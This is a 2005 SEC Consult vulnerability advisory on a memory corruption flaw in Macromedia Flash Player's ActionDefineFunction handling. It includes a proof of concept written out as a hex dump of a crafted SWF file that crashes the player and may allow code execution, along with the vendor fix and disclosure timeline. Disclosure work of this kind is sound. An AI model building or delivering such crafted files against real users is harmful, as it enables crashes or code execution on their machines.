SEC-CONSULT Security Advisory 20051107-1
=======================================================================================
title: Macromedia Flash Player ActionDefineFunction Memory Corruption
program: Macromedia Flash Plugin
vulnerable version: flash.ocx v7.0.19.0 and earlier
libflashplayer.so before 7.0.25.0
homepage: www.macromedia.com
found: 2005-06-27
by: Bernhard Mueller / SEC-CONSULT / www.sec-consult.com
=======================================================================================
Vendor description:
---------------
Macromedia Flash Player is the high performance, lightweight, highly expressive client runtime that delivers powerful and consistent user experiences across major operating systems, browsers, mobile phones and devices.
Vulnerabilty:
---------------
ActionScript is an ECMAScript-based programming language used for controlling Macromedia Flash movies and applications. In SWF files, Actionscript commands are represented by DoAction Tags embedded in frames. SEC Consult has found that parameters to ActionDefineFunction (ACTIONRECORD 0x9b) are not properly sanitized. Loading a specially crafted SWF leads to an improper memory access condition which can be used to crash flash player or may be exploited as a vector for code execution.
This issue is similar to CAN-2005-2628 (as reported by eEye Digital Security on November 4, 2005) but affects a different function. Coincidentally, Macromedia has received our notification of this bug on the same day (June 27).
Proof of Concept:
---------------
A "malicious" flash movie dump:
<swf>
----- [SetBackgroundColor] -----
TagID: 9 (size: 3 (short tag)
- dump ->:
\x43\x02\xff\x00\x00
----- [DoAction] -----
TagID: 12 (size: 60 (short tag)
- dump ->:
\x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00\x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43\x43\x43\x00\x44\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45\x45\x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x46\x00\x00
----- [ShowFrame] -----
TagID: 1 (size: 0 (short tag)
- dump ->:
\x40\x00
----- [End] -----
TagID: 0 (size: 0 (short tag)
- dump ->:
\x00\x00
</swf>
Recommended Fix:
---------------
The issue has been addressed in MPSB05-07. Upgrade to the newest version of Flash Player 7 or to Flash Player 8.
Link:
www.macromedia.com/devnet/security/security_zone/mpsb05-07.html.
Vendor status:
---------------
vendor notified: 2005-06
fixed: 2005-09
General remarks
---------------
We would like to apologize in advance for potential nonconformities and/or known issues.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH
Office Vienna
Blindengasse 3
A-1080 Wien
Austria
Tel.: +43 / 1 / 409 0307 - 570
Fax.: +43 / 1 / 409 0307 - 590
Mail: office at sec-consult dot com
www.sec-consult.com
EOF Bernhard Mueller / @2005
bmu at sec-consult dot com